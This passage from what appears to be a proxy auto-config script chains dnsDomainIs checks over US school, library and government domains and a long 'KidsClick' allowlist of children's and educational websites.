dnsDomainIs(host, ".k12.wv.us") || dnsDomainIs(host, ".k12.wi.us") || dnsDomainIs(host, ".k12.wy.us") // U.S. Libraries || dnsDomainIs(host, ".lib.al.us") || dnsDomainIs(host, ".lib.ak.us") || dnsDomainIs(host, ".lib.ar.us") || dnsDomainIs(host, ".lib.az.us") || dnsDomainIs(host, ".lib.ca.us") || dnsDomainIs(host, ".lib.co.us") || dnsDomainIs(host, ".lib.ct.us") || dnsDomainIs(host, ".lib.dc.us") || dnsDomainIs(host, ".lib.de.us") || dnsDomainIs(host, ".lib.fl.us") || dnsDomainIs(host, ".lib.ga.us") || dnsDomainIs(host, ".lib.hi.us") || dnsDomainIs(host, ".lib.id.us") || dnsDomainIs(host, ".lib.il.us") || dnsDomainIs(host, ".lib.in.us") || dnsDomainIs(host, ".lib.ia.us") || dnsDomainIs(host, ".lib.ks.us") || dnsDomainIs(host, ".lib.ky.us") || dnsDomainIs(host, ".lib.la.us") || dnsDomainIs(host, ".lib.me.us") || dnsDomainIs(host, ".lib.md.us") || dnsDomainIs(host, ".lib.ma.us") || dnsDomainIs(host, ".lib.mi.us") || dnsDomainIs(host, ".lib.mn.us") || dnsDomainIs(host, ".lib.ms.us") || dnsDomainIs(host, ".lib.mo.us") || dnsDomainIs(host, ".lib.mt.us") || dnsDomainIs(host, ".lib.ne.us") || dnsDomainIs(host, ".lib.nv.us") || dnsDomainIs(host, ".lib.nh.us") || dnsDomainIs(host, ".lib.nj.us") || dnsDomainIs(host, ".lib.nm.us") || dnsDomainIs(host, ".lib.ny.us") || dnsDomainIs(host, ".lib.nc.us") || dnsDomainIs(host, ".lib.nd.us") || dnsDomainIs(host, ".lib.oh.us") || dnsDomainIs(host, ".lib.ok.us") || dnsDomainIs(host, ".lib.or.us") || dnsDomainIs(host, ".lib.pa.us") || dnsDomainIs(host, ".lib.ri.us") || dnsDomainIs(host, ".lib.sc.us") || dnsDomainIs(host, ".lib.sd.us") || dnsDomainIs(host, ".lib.tn.us") || dnsDomainIs(host, ".lib.tx.us") || dnsDomainIs(host, ".lib.ut.us") || dnsDomainIs(host, ".lib.vt.us") || dnsDomainIs(host, ".lib.va.us") || dnsDomainIs(host, ".lib.wa.us") || dnsDomainIs(host, ".lib.wv.us") || dnsDomainIs(host, ".lib.wi.us") || dnsDomainIs(host, ".lib.wy.us") // U.S. Cities || dnsDomainIs(host, ".ci.al.us") || dnsDomainIs(host, ".ci.ak.us") || dnsDomainIs(host, ".ci.ar.us") || dnsDomainIs(host, ".ci.az.us") || dnsDomainIs(host, ".ci.ca.us") || dnsDomainIs(host, ".ci.co.us") || dnsDomainIs(host, ".ci.ct.us") || dnsDomainIs(host, ".ci.dc.us") || dnsDomainIs(host, ".ci.de.us") || dnsDomainIs(host, ".ci.fl.us") || dnsDomainIs(host, ".ci.ga.us") || dnsDomainIs(host, ".ci.hi.us") || dnsDomainIs(host, ".ci.id.us") || dnsDomainIs(host, ".ci.il.us") || dnsDomainIs(host, ".ci.in.us") || dnsDomainIs(host, ".ci.ia.us") || dnsDomainIs(host, ".ci.ks.us") || dnsDomainIs(host, ".ci.ky.us") || dnsDomainIs(host, ".ci.la.us") || dnsDomainIs(host, ".ci.me.us") || dnsDomainIs(host, ".ci.md.us") || dnsDomainIs(host, ".ci.ma.us") || dnsDomainIs(host, ".ci.mi.us") || dnsDomainIs(host, ".ci.mn.us") || dnsDomainIs(host, ".ci.ms.us") || dnsDomainIs(host, ".ci.mo.us") || dnsDomainIs(host, ".ci.mt.us") || dnsDomainIs(host, ".ci.ne.us") || dnsDomainIs(host, ".ci.nv.us") || dnsDomainIs(host, ".ci.nh.us") || dnsDomainIs(host, ".ci.nj.us") || dnsDomainIs(host, ".ci.nm.us") || dnsDomainIs(host, ".ci.ny.us") || dnsDomainIs(host, ".ci.nc.us") || dnsDomainIs(host, ".ci.nd.us") || dnsDomainIs(host, ".ci.oh.us") || dnsDomainIs(host, ".ci.ok.us") || dnsDomainIs(host, ".ci.or.us") || dnsDomainIs(host, ".ci.pa.us") || dnsDomainIs(host, ".ci.ri.us") || dnsDomainIs(host, ".ci.sc.us") || dnsDomainIs(host, ".ci.sd.us") || dnsDomainIs(host, ".ci.tn.us") || dnsDomainIs(host, ".ci.tx.us") || dnsDomainIs(host, ".ci.ut.us") || dnsDomainIs(host, ".ci.vt.us") || dnsDomainIs(host, ".ci.va.us") || dnsDomainIs(host, ".ci.wa.us") || dnsDomainIs(host, ".ci.wv.us") || dnsDomainIs(host, ".ci.wi.us") || dnsDomainIs(host, ".ci.wy.us") // U.S. Counties || dnsDomainIs(host, ".co.al.us") || dnsDomainIs(host, ".co.ak.us") || dnsDomainIs(host, ".co.ar.us") || dnsDomainIs(host, ".co.az.us") || dnsDomainIs(host, ".co.ca.us") || dnsDomainIs(host, ".co.co.us") || dnsDomainIs(host, ".co.ct.us") || dnsDomainIs(host, ".co.dc.us") || dnsDomainIs(host, ".co.de.us") || dnsDomainIs(host, ".co.fl.us") || dnsDomainIs(host, ".co.ga.us") || dnsDomainIs(host, ".co.hi.us") || dnsDomainIs(host, ".co.id.us") || dnsDomainIs(host, ".co.il.us") || dnsDomainIs(host, ".co.in.us") || dnsDomainIs(host, ".co.ia.us") || dnsDomainIs(host, ".co.ks.us") || dnsDomainIs(host, ".co.ky.us") || dnsDomainIs(host, ".co.la.us") || dnsDomainIs(host, ".co.me.us") || dnsDomainIs(host, ".co.md.us") || dnsDomainIs(host, ".co.ma.us") || dnsDomainIs(host, ".co.mi.us") || dnsDomainIs(host, ".co.mn.us") || dnsDomainIs(host, ".co.ms.us") || dnsDomainIs(host, ".co.mo.us") || dnsDomainIs(host, ".co.mt.us") || dnsDomainIs(host, ".co.ne.us") || dnsDomainIs(host, ".co.nv.us") || dnsDomainIs(host, ".co.nh.us") || dnsDomainIs(host, ".co.nj.us") || dnsDomainIs(host, ".co.nm.us") || dnsDomainIs(host, ".co.ny.us") || dnsDomainIs(host, ".co.nc.us") || dnsDomainIs(host, ".co.nd.us") || dnsDomainIs(host, ".co.oh.us") || dnsDomainIs(host, ".co.ok.us") || dnsDomainIs(host, ".co.or.us") || dnsDomainIs(host, ".co.pa.us") || dnsDomainIs(host, ".co.ri.us") || dnsDomainIs(host, ".co.sc.us") || dnsDomainIs(host, ".co.sd.us") || dnsDomainIs(host, ".co.tn.us") || dnsDomainIs(host, ".co.tx.us") || dnsDomainIs(host, ".co.ut.us") || dnsDomainIs(host, ".co.vt.us") || dnsDomainIs(host, ".co.va.us") || dnsDomainIs(host, ".co.wa.us") || dnsDomainIs(host, ".co.wv.us") || dnsDomainIs(host, ".co.wi.us") || dnsDomainIs(host, ".co.wy.us") // U.S. States || dnsDomainIs(host, ".state.al.us") || dnsDomainIs(host, ".state.ak.us") || dnsDomainIs(host, ".state.ar.us") || dnsDomainIs(host, ".state.az.us") || dnsDomainIs(host, ".state.ca.us") || dnsDomainIs(host, ".state.co.us") || dnsDomainIs(host, ".state.ct.us") || dnsDomainIs(host, ".state.dc.us") || dnsDomainIs(host, ".state.de.us") || dnsDomainIs(host, ".state.fl.us") || dnsDomainIs(host, ".state.ga.us") || dnsDomainIs(host, ".state.hi.us") || dnsDomainIs(host, ".state.id.us") || dnsDomainIs(host, ".state.il.us") || dnsDomainIs(host, ".state.in.us") || dnsDomainIs(host, ".state.ia.us") || dnsDomainIs(host, ".state.ks.us") || dnsDomainIs(host, ".state.ky.us") || dnsDomainIs(host, ".state.la.us") || dnsDomainIs(host, ".state.me.us") || dnsDomainIs(host, ".state.md.us") || dnsDomainIs(host, ".state.ma.us") || dnsDomainIs(host, ".state.mi.us") || dnsDomainIs(host, ".state.mn.us") || dnsDomainIs(host, ".state.ms.us") || dnsDomainIs(host, ".state.mo.us") || dnsDomainIs(host, ".state.mt.us") || dnsDomainIs(host, ".state.ne.us") || dnsDomainIs(host, ".state.nv.us") || dnsDomainIs(host, ".state.nh.us") || dnsDomainIs(host, ".state.nj.us") || dnsDomainIs(host, ".state.nm.us") || dnsDomainIs(host, ".state.ny.us") || dnsDomainIs(host, ".state.nc.us") || dnsDomainIs(host, ".state.nd.us") || dnsDomainIs(host, ".state.oh.us") || dnsDomainIs(host, ".state.ok.us") || dnsDomainIs(host, ".state.or.us") || dnsDomainIs(host, ".state.pa.us") || dnsDomainIs(host, ".state.ri.us") || dnsDomainIs(host, ".state.sc.us") || dnsDomainIs(host, ".state.sd.us") || dnsDomainIs(host, ".state.tn.us") || dnsDomainIs(host, ".state.tx.us") || dnsDomainIs(host, ".state.ut.us") || dnsDomainIs(host, ".state.vt.us") || dnsDomainIs(host, ".state.va.us") || dnsDomainIs(host, ".state.wa.us") || dnsDomainIs(host, ".state.wv.us") || dnsDomainIs(host, ".state.wi.us") || dnsDomainIs(host, ".state.wy.us") // KidsClick URLs || dnsDomainIs(host, "12.16.163.163") || dnsDomainIs(host, "128.59.173.136") || dnsDomainIs(host, "165.112.78.61") || dnsDomainIs(host, "216.55.23.140") || dnsDomainIs(host, "63.111.53.150") || dnsDomainIs(host, "64.94.206.8") || dnsDomainIs(host, "abc.go.com") || dnsDomainIs(host, "acmepet.petsmart.com") || dnsDomainIs(host, "adver-net.com") || dnsDomainIs(host, "aint-it-cool-news.com") || dnsDomainIs(host, "akidsheart.com") || dnsDomainIs(host, "alabanza.com") || dnsDomainIs(host, "allerdays.com") || dnsDomainIs(host, "allgame.com") || dnsDomainIs(host, "allowancenet.com") || dnsDomainIs(host, "amish-heartland.com") || dnsDomainIs(host, "ancienthistory.about.com") || dnsDomainIs(host, "animals.about.com") || dnsDomainIs(host, "antenna.nl") || dnsDomainIs(host, "arcweb.sos.state.or.us") || dnsDomainIs(host, "artistmummer.homestead.com") || dnsDomainIs(host, "artists.vh1.com") || dnsDomainIs(host, "arts.lausd.k12.ca.us") || dnsDomainIs(host, "asiatravel.com") || dnsDomainIs(host, "asterius.com") || dnsDomainIs(host, "atlas.gc.ca") || dnsDomainIs(host, "atschool.eduweb.co.uk") || dnsDomainIs(host, "ayya.pd.net") || dnsDomainIs(host, "babelfish.altavista.com") || dnsDomainIs(host, "babylon5.warnerbros.com") || dnsDomainIs(host, "banzai.neosoft.com") || dnsDomainIs(host, "barneyonline.com") || dnsDomainIs(host, "baroque-music.com") || dnsDomainIs(host, "barsoom.msss.com") || dnsDomainIs(host, "baseball-almanac.com") || dnsDomainIs(host, "bcadventure.com") || dnsDomainIs(host, "beadiecritters.hosting4less.com") || dnsDomainIs(host, "beverlyscrafts.com") || dnsDomainIs(host, "biology.about.com") || dnsDomainIs(host, "birding.about.com") || dnsDomainIs(host, "boatsafe.com") || dnsDomainIs(host, "bombpop.com") || dnsDomainIs(host, "boulter.com") || dnsDomainIs(host, "bright-ideas-software.com") || dnsDomainIs(host, "buckman.pps.k12.or.us") || dnsDomainIs(host, "buffalobills.com") || dnsDomainIs(host, "bvsd.k12.co.us") || dnsDomainIs(host, "cagle.slate.msn.com") || dnsDomainIs(host, "calc.entisoft.com") || dnsDomainIs(host, "canada.gc.ca") || dnsDomainIs(host, "candleandsoap.about.com") || dnsDomainIs(host, "caselaw.lp.findlaw.com") || dnsDomainIs(host, "catalog.com") || dnsDomainIs(host, "catalog.socialstudies.com") || dnsDomainIs(host, "cavern.com") || dnsDomainIs(host, "cbs.sportsline.com") || dnsDomainIs(host, "cc.matsuyama-u.ac.jp") || dnsDomainIs(host, "celt.net") || dnsDomainIs(host, "cgfa.kelloggcreek.com") || dnsDomainIs(host, "channel4000.com") || dnsDomainIs(host, "chess.delorie.com") || dnsDomainIs(host, "chess.liveonthenet.com") || dnsDomainIs(host, "childfun.com") || dnsDomainIs(host, "christmas.com") || dnsDomainIs(host, "citystar.com") || dnsDomainIs(host, "claim.goldrush.com") || dnsDomainIs(host, "clairerosemaryjane.com") || dnsDomainIs(host, "clevermedia.com") || dnsDomainIs(host, "cobblestonepub.com") || dnsDomainIs(host, "codebrkr.infopages.net") || dnsDomainIs(host, "colitz.com") || dnsDomainIs(host, "collections.ic.gc.ca") || dnsDomainIs(host, "coloquio.com") || dnsDomainIs(host, "come.to") || dnsDomainIs(host, "coombs.anu.edu.au") || dnsDomainIs(host, "crafterscommunity.com") || dnsDomainIs(host, "craftsforkids.about.com") || dnsDomainIs(host, "creativity.net") || dnsDomainIs(host, "cslewis.drzeus.net") || dnsDomainIs(host, "cust.idl.com.au") || dnsDomainIs(host, "cvs.anu.edu.au") || dnsDomainIs(host, "cybersleuth-kids.com") || dnsDomainIs(host, "cybertown.com") || dnsDomainIs(host, "darkfish.com") || dnsDomainIs(host, "datadragon.com") || dnsDomainIs(host, "davesite.com") || dnsDomainIs(host, "dbertens.www.cistron.nl") || dnsDomainIs(host, "detnews.com") || dnsDomainIs(host, "dhr.dos.state.fl.us") || dnsDomainIs(host, "dialspace.dial.pipex.com") || dnsDomainIs(host, "dictionaries.travlang.com") || dnsDomainIs(host, "disney.go.com") || dnsDomainIs(host, "disneyland.disney.go.com") || dnsDomainIs(host, "district.gresham.k12.or.us") || dnsDomainIs(host, "dmarie.com") || dnsDomainIs(host, "dreamwater.com") || dnsDomainIs(host, "duke.fuse.net") || dnsDomainIs(host, "earlyamerica.com") || dnsDomainIs(host, "earthsky.com") || dnsDomainIs(host, "easyweb.easynet.co.uk") || dnsDomainIs(host, "ecards1.bansheeweb.com") || dnsDomainIs(host, "edugreen.teri.res.in") || dnsDomainIs(host, "edwardlear.tripod.com") || dnsDomainIs(host, "eelink.net") || dnsDomainIs(host, "elizabethsings.com") || dnsDomainIs(host, "enature.com") || dnsDomainIs(host, "encarta.msn.com") || dnsDomainIs(host, "endangeredspecie.com") || dnsDomainIs(host, "enterprise.america.com") || dnsDomainIs(host, "ericae.net") || dnsDomainIs(host, "esl.about.com") || dnsDomainIs(host, "eveander.com") || dnsDomainIs(host, "exn.ca") || dnsDomainIs(host, "fallscam.niagara.com") || dnsDomainIs(host, "family.go.com") || dnsDomainIs(host, "family2.go.com") || dnsDomainIs(host, "familyeducation.com") || dnsDomainIs(host, "finditquick.com") || dnsDomainIs(host, "fln-bma.yazigi.com.br") || dnsDomainIs(host, "fln-con.yazigi.com.br") || dnsDomainIs(host, "food.epicurious.com") || dnsDomainIs(host, "forums.sympatico.ca") || dnsDomainIs(host, "fotw.vexillum.com") || dnsDomainIs(host, "fox.nstn.ca") || dnsDomainIs(host, "framingham.com") || dnsDomainIs(host, "freevote.com") || dnsDomainIs(host, "freeweb.pdq.net") || dnsDomainIs(host, "games.yahoo.com") || dnsDomainIs(host, "gardening.sierrahome.com") || dnsDomainIs(host, "gardenofpraise.com") || dnsDomainIs(host, "gcclearn.gcc.cc.va.us") || dnsDomainIs(host, "genealogytoday.com") || dnsDomainIs(host, "genesis.ne.mediaone.net") || dnsDomainIs(host, "geniefind.com") || dnsDomainIs(host, "geography.about.com") || dnsDomainIs(host, "gf.state.wy.us") || dnsDomainIs(host, "gi.grolier.com") || dnsDomainIs(host, "golf.com") || dnsDomainIs(host, "greatseal.com") || dnsDomainIs(host, "guardians.net") || dnsDomainIs(host, "hamlet.hypermart.net") || dnsDomainIs(host, "happypuppy.com") || dnsDomainIs(host, "harcourt.fsc.follett.com") || dnsDomainIs(host, "haringkids.com") || dnsDomainIs(host, "harrietmaysavitz.com") || dnsDomainIs(host, "harrypotter.warnerbros.com") || dnsDomainIs(host, "hca.gilead.org.il") || dnsDomainIs(host, "header.future.easyspace.com") || dnsDomainIs(host, "historymedren.about.com") || dnsDomainIs(host, "home.att.net") || dnsDomainIs(host, "home.austin.rr.com") || dnsDomainIs(host, "home.capu.net") || dnsDomainIs(host, "home.cfl.rr.com") || dnsDomainIs(host, "home.clara.net") || dnsDomainIs(host, "home.clear.net.nz") || dnsDomainIs(host, "home.earthlink.net") || dnsDomainIs(host, "home.eznet.net") || dnsDomainIs(host, "home.flash.net") || dnsDomainIs(host, "home.hiwaay.net") || dnsDomainIs(host, "home.hkstar.com") || dnsDomainIs(host, "home.ici.net") || dnsDomainIs(host, "home.inreach.com") || dnsDomainIs(host, "home.interlynx.net") || dnsDomainIs(host, "home.istar.ca") || dnsDomainIs(host, "home.mira.net") || dnsDomainIs(host, "home.nycap.rr.com") || dnsDomainIs(host, "home.online.no") || dnsDomainIs(host, "home.pb.net") || dnsDomainIs(host, "home2.pacific.net.sg") || dnsDomainIs(host, "homearts.com") || dnsDomainIs(host, "homepage.mac.com") || dnsDomainIs(host, "hometown.aol.com") || dnsDomainIs(host, "homiliesbyemail.com") || dnsDomainIs(host, "hotei.fix.co.jp") || dnsDomainIs(host, "hotwired.lycos.com") || dnsDomainIs(host, "hp.vector.co.jp") || dnsDomainIs(host, "hum.amu.edu.pl") || dnsDomainIs(host, "i-cias.com") || dnsDomainIs(host, "icatapults.freeservers.com") || dnsDomainIs(host, "ind.cioe.com") || dnsDomainIs(host, "info.ex.ac.uk") || dnsDomainIs(host, "infocan.gc.ca") || dnsDomainIs(host, "infoservice.gc.ca") || dnsDomainIs(host, "interoz.com") || dnsDomainIs(host, "ireland.iol.ie") || dnsDomainIs(host, "is.dal.ca") || dnsDomainIs(host, "itss.raytheon.com") || dnsDomainIs(host, "iul.com") || dnsDomainIs(host, "jameswhitcombriley.com") || dnsDomainIs(host, "jellieszone.com") || dnsDomainIs(host, "jordan.sportsline.com") || dnsDomainIs(host, "judyanddavid.com") || dnsDomainIs(host, "jurai.murdoch.edu.au") || dnsDomainIs(host, "just.about.com") || dnsDomainIs(host, "kayleigh.tierranet.com") || dnsDomainIs(host, "kcwingwalker.tripod.com") || dnsDomainIs(host, "kidexchange.about.com") || dnsDomainIs(host, "kids-world.colgatepalmolive.com") || dnsDomainIs(host, "kids.mysterynet.com") || dnsDomainIs(host, "kids.ot.com") || dnsDomainIs(host, "kidsartscrafts.about.com") || dnsDomainIs(host, "kidsastronomy.about.com") || dnsDomainIs(host, "kidscience.about.com") || dnsDomainIs(host, "kidscience.miningco.com") || dnsDomainIs(host, "kidscollecting.about.com") || dnsDomainIs(host, "kidsfun.co.uk") || dnsDomainIs(host, "kidsinternet.about.com") || dnsDomainIs(host, "kidslangarts.about.com") || dnsDomainIs(host, "kidspenpals.about.com") || dnsDomainIs(host, "kitecast.com") || dnsDomainIs(host, "knight.city.ba.k12.md.us") || dnsDomainIs(host, "kodak.com") || dnsDomainIs(host, "kwanzaa4kids.homestead.com") || dnsDomainIs(host, "lagos.africaonline.com") || dnsDomainIs(host, "lancearmstrong.com") || dnsDomainIs(host, "landru.i-link-2.net") || dnsDomainIs(host, "lang.nagoya-u.ac.jp") || dnsDomainIs(host, "lascala.milano.it") || dnsDomainIs(host, "latinoculture.about.com") || dnsDomainIs(host, "litcal.yasuda-u.ac.jp") || dnsDomainIs(host, "littlebit.com") || dnsDomainIs(host, "live.edventures.com") || dnsDomainIs(host, "look.net") || dnsDomainIs(host, "lycoskids.infoplease.com") || dnsDomainIs(host, "lynx.uio.no") || dnsDomainIs(host, "macdict.dict.mq.edu.au") || dnsDomainIs(host, "maori.culture.co.nz") || dnsDomainIs(host, "marktwain.about.com") || dnsDomainIs(host, "marktwain.miningco.com") || dnsDomainIs(host, "mars2030.net") || dnsDomainIs(host, "martin.parasitology.mcgill.ca") || dnsDomainIs(host, "martinlutherking.8m.com") || dnsDomainIs(host, "mastercollector.com") || dnsDomainIs(host, "mathcentral.uregina.ca") || dnsDomainIs(host, "members.aol.com") || dnsDomainIs(host, "members.carol.net") || dnsDomainIs(host, "members.cland.net") || dnsDomainIs(host, "members.cruzio.com") || dnsDomainIs(host, "members.easyspace.com") || dnsDomainIs(host, "members.eisa.net.au") || dnsDomainIs(host, "members.home.net") || dnsDomainIs(host, "members.iinet.net.au") || dnsDomainIs(host, "members.nbci.com") || dnsDomainIs(host, "members.ozemail.com.au") || dnsDomainIs(host, "members.surfsouth.com") || dnsDomainIs(host, "members.theglobe.com") || dnsDomainIs(host, "members.tripod.com") || dnsDomainIs(host, "mexplaza.udg.mx") || dnsDomainIs(host, "mgfx.com") || dnsDomainIs(host, "microimg.com") || dnsDomainIs(host, "midusa.net") || dnsDomainIs(host, "mildan.com") || dnsDomainIs(host, "millennianet.com") || dnsDomainIs(host, "mindbreakers.e-fun.nu") || dnsDomainIs(host, "missjanet.xs4all.nl") || dnsDomainIs(host, "mistral.culture.fr") || dnsDomainIs(host, "mobileation.com") || dnsDomainIs(host, "mrshowbiz.go.com") || dnsDomainIs(host, "ms.simplenet.com") || dnsDomainIs(host, "museum.gov.ns.ca") || dnsDomainIs(host, "music.excite.com") || dnsDomainIs(host, "musicfinder.yahoo.com") || dnsDomainIs(host, "my.freeway.net") || dnsDomainIs(host, "mytrains.com") || dnsDomainIs(host, "nativeauthors.com") || dnsDomainIs(host, "nba.com") || dnsDomainIs(host, "nch.ari.net") || dnsDomainIs(host, "neonpeach.tripod.com") || dnsDomainIs(host, "net.indra.com") || dnsDomainIs(host, "ngeorgia.com") || dnsDomainIs(host, "ngp.ngpc.state.ne.us") || dnsDomainIs(host, "nhd.heinle.com") || dnsDomainIs(host, "nick.com") || dnsDomainIs(host, "normandy.eb.com") || dnsDomainIs(host, "northshore.shore.net") || dnsDomainIs(host, "now2000.com") || dnsDomainIs(host, "npc.nunavut.ca") || dnsDomainIs(host, "ns2.carib-link.net") || dnsDomainIs(host, "ntl.sympatico.ca") || dnsDomainIs(host, "oceanographer.navy.mil") || dnsDomainIs(host, "oddens.geog.uu.nl") || dnsDomainIs(host, "officialcitysites.com") || dnsDomainIs(host, "oneida-nation.net") || dnsDomainIs(host, "onlinegeorgia.com") || dnsDomainIs(host, "originator_2.tripod.com") || dnsDomainIs(host, "ortech-engr.com") || dnsDomainIs(host, "osage.voorhees.k12.nj.us") || dnsDomainIs(host, "osiris.sund.ac.uk") || dnsDomainIs(host, "ourworld.compuserve.com") || dnsDomainIs(host, "outdoorphoto.com") || dnsDomainIs(host, "pages.map.com") || dnsDomainIs(host, "pages.prodigy.com") || dnsDomainIs(host, "pages.prodigy.net") || dnsDomainIs(host, "pages.tca.net") || dnsDomainIs(host, "parcsafari.qc.ca") || dnsDomainIs(host, "parenthoodweb.com") || dnsDomainIs(host, "pathfinder.com") || dnsDomainIs(host, "people.clarityconnect.com") || dnsDomainIs(host, "people.enternet.com.au") || dnsDomainIs(host, "people.ne.mediaone.net") || dnsDomainIs(host, "phonics.jazzles.com") || dnsDomainIs(host, "pibburns.com") || dnsDomainIs(host, "pilgrims.net") || dnsDomainIs(host, "pinenet.com") || dnsDomainIs(host, "place.scholastic.com") || dnsDomainIs(host, "playground.kodak.com") || dnsDomainIs(host, "politicalgraveyard.com") || dnsDomainIs(host, "polk.ga.net") || dnsDomainIs(host, "pompstory.home.mindspring.com") || dnsDomainIs(host, "popularmechanics.com") || dnsDomainIs(host, "projects.edtech.sandi.net") || dnsDomainIs(host, "psyche.usno.navy.mil") || dnsDomainIs(host, "pubweb.parc.xerox.com") || dnsDomainIs(host, "puzzlemaker.school.discovery.com") || dnsDomainIs(host, "quest.classroom.com") || dnsDomainIs(host, "quilting.about.com") || dnsDomainIs(host, "rabbitmoon.home.mindspring.com") || dnsDomainIs(host, "radio.cbc.ca") || dnsDomainIs(host, "rats2u.com") || dnsDomainIs(host, "rbcm1.rbcm.gov.bc.ca") || dnsDomainIs(host, "readplay.com") || dnsDomainIs(host, "recipes4children.homestead.com") || dnsDomainIs(host, "redsox.com") || dnsDomainIs(host, "renaissance.district96.k12.il.us") || dnsDomainIs(host, "rhyme.lycos.com") || dnsDomainIs(host, "rhythmweb.com") || dnsDomainIs(host, "riverresource.com") || dnsDomainIs(host, "rockhoundingar.com") || dnsDomainIs(host, "rockies.mlb.com") || dnsDomainIs(host, "rosecity.net") || dnsDomainIs(host, "rr-vs.informatik.uni-ulm.de") || dnsDomainIs(host, "rubens.anu.edu.au") || dnsDomainIs(host, "rummelplatz.uni-mannheim.de") || dnsDomainIs(host, "sandbox.xerox.com") || dnsDomainIs(host, "sarah.fredart.com") || dnsDomainIs(host, "schmidel.com") || dnsDomainIs(host, "scholastic.com") || dnsDomainIs(host, "school.discovery.com") || dnsDomainIs(host, "schoolcentral.com") || dnsDomainIs(host, "seattletimes.nwsource.com") || dnsDomainIs(host, "sericulum.com") || dnsDomainIs(host, "sf.airforce.com") || dnsDomainIs(host, "shop.usps.com") || dnsDomainIs(host, "showcase.netins.net") || dnsDomainIs(host, "sikids.com") || dnsDomainIs(host, "sites.huji.ac.il") || dnsDomainIs(host, "sjliving.com") || dnsDomainIs(host, "skullduggery.com") || dnsDomainIs(host, "skyways.lib.ks.us") || dnsDomainIs(host, "snowdaymovie.nick.com") || dnsDomainIs(host, "sosa21.hypermart.net") || dnsDomainIs(host, "soundamerica.com") || dnsDomainIs(host, "spaceboy.nasda.go.jp") || dnsDomainIs(host, "sports.nfl.com") || dnsDomainIs(host, "sportsillustrated.cnn.com") || dnsDomainIs(host, "starwars.hasbro.com") || dnsDomainIs(host, "statelibrary.dcr.state.nc.us") || dnsDomainIs(host, "streetplay.com") || dnsDomainIs(host, "sts.gsc.nrcan.gc.ca") || dnsDomainIs(host, "sunniebunniezz.com") || dnsDomainIs(host, "sunsite.nus.edu.sg") || dnsDomainIs(host, "sunsite.sut.ac.jp") || dnsDomainIs(host, "superm.bart.nl") || dnsDomainIs(host, "surf.to") || dnsDomainIs(host, "svinet2.fs.fed.us") || dnsDomainIs(host, "swiminfo.com") || dnsDomainIs(host, "tabletennis.about.com") || dnsDomainIs(host, "teacher.scholastic.com") || dnsDomainIs(host, "theforce.net") || dnsDomainIs(host, "thejessicas.homestead.com") || dnsDomainIs(host, "themes.editthispage.com") || dnsDomainIs(host, "theory.uwinnipeg.ca") || dnsDomainIs(host, "theshadowlands.net") || dnsDomainIs(host, "thinks.com") || dnsDomainIs(host, "thryomanes.tripod.com") || dnsDomainIs(host, "time_zone.tripod.com") || dnsDomainIs(host, "titania.cobuild.collins.co.uk") || dnsDomainIs(host, "torre.duomo.pisa.it") || dnsDomainIs(host, "touregypt.net") || dnsDomainIs(host, "toycollecting.about.com") || dnsDomainIs(host, "trace.ntu.ac.uk") || dnsDomainIs(host, "travelwithkids.about.com") || dnsDomainIs(host, "tukids.tucows.com") || dnsDomainIs(host, "tv.yahoo.com") || dnsDomainIs(host, "tycho.usno.navy.mil") || dnsDomainIs(host, "ubl.artistdirect.com") || dnsDomainIs(host, "uk-pages.net") || dnsDomainIs(host, "ukraine.uazone.net") || dnsDomainIs(host, "unmuseum.mus.pa.us") || dnsDomainIs(host, "us.imdb.com") || dnsDomainIs(host, "userpage.chemie.fu-berlin.de") || dnsDomainIs(host, "userpage.fu-berlin.de") || dnsDomainIs(host, "userpages.aug.com") || dnsDomainIs(host, "users.aol.com") || dnsDomainIs(host, "users.bigpond.net.au") || dnsDomainIs(host, "users.breathemail.net") || dnsDomainIs(host, "users.erols.com") || dnsDomainIs(host, "users.imag.net") || dnsDomainIs(host, "users.inetw.net") || dnsDomainIs(host, "users.massed.net") || dnsDomainIs(host, "users.skynet.be") || dnsDomainIs(host, "users.uniserve.com") || dnsDomainIs(host, "venus.spaceports.com") || dnsDomainIs(host, "vgstrategies.about.com") || dnsDomainIs(host, "victorian.fortunecity.com") || dnsDomainIs(host, "vilenski.com") || dnsDomainIs(host, "village.infoweb.ne.jp") || dnsDomainIs(host, "virtual.finland.fi") || dnsDomainIs(host, "vrml.fornax.hu") || dnsDomainIs(host, "vvv.com") || dnsDomainIs(host, "w1.xrefer.com") || dnsDomainIs(host, "w3.one.net") || dnsDomainIs(host, "w3.rz-berlin.mpg.de") || dnsDomainIs(host, "w3.trib.com") || dnsDomainIs(host, "wallofsound.go.com") || dnsDomainIs(host, "web.aimnet.com") || dnsDomainIs(host, "web.ccsd.k12.wy.us") || dnsDomainIs(host, "web.cs.ualberta.ca") || dnsDomainIs(host, "web.idirect.com") || dnsDomainIs(host, "web.kyoto-inet.or.jp") || dnsDomainIs(host, "web.macam98.ac.il") || dnsDomainIs(host, "web.massvacation.com") || dnsDomainIs(host, "web.one.net.au") || dnsDomainIs(host, "web.qx.net") || dnsDomainIs(host, "web.uvic.ca") || dnsDomainIs(host, "web2.airmail.net") || dnsDomainIs(host, "webcoast.com") || dnsDomainIs(host, "webgames.kalisto.com") || dnsDomainIs(host, "webhome.idirect.com") || dnsDomainIs(host, "webpages.homestead.com") || dnsDomainIs(host, "webrum.uni-mannheim.de") || dnsDomainIs(host, "webusers.anet-stl.com") || dnsDomainIs(host, "welcome.to") || dnsDomainIs(host, "wgntv.com") || dnsDomainIs(host, "whales.magna.com.au") || dnsDomainIs(host, "wildheart.com") || dnsDomainIs(host, "wilstar.net") || dnsDomainIs(host, "winter-wonderland.com") || dnsDomainIs(host, "women.com") || dnsDomainIs(host, "woodrow.mpls.frb.fed.us") || dnsDomainIs(host, "wordzap.com") || dnsDomainIs(host, "worldkids.net") || dnsDomainIs(host, "worldwideguide.net") || dnsDomainIs(host, "ww3.bay.k12.fl.us") || dnsDomainIs(host, "ww3.sportsline.com") || dnsDomainIs(host, "www-groups.dcs.st-and.ac.uk") || dnsDomainIs(host, "www-public.rz.uni-duesseldorf.de") || dnsDomainIs(host, "www.1stkids.com") || dnsDomainIs(host, "www.2020tech.com") || dnsDomainIs(host, "www.21stcenturytoys.com") || dnsDomainIs(host, "www.4adventure.com") || dnsDomainIs(host, "www.50states.com") || dnsDomainIs(host, "www.800padutch.com") || dnsDomainIs(host, "www.88.com") || dnsDomainIs(host, "www.a-better.com") || dnsDomainIs(host, "www.aaa.com.au") || dnsDomainIs(host, "www.aacca.com") || dnsDomainIs(host, "www.aalbc.com") || dnsDomainIs(host, "www.aardman.com") || dnsDomainIs(host, "www.aardvarkelectric.com") || dnsDomainIs(host, "www.aawc.com") || 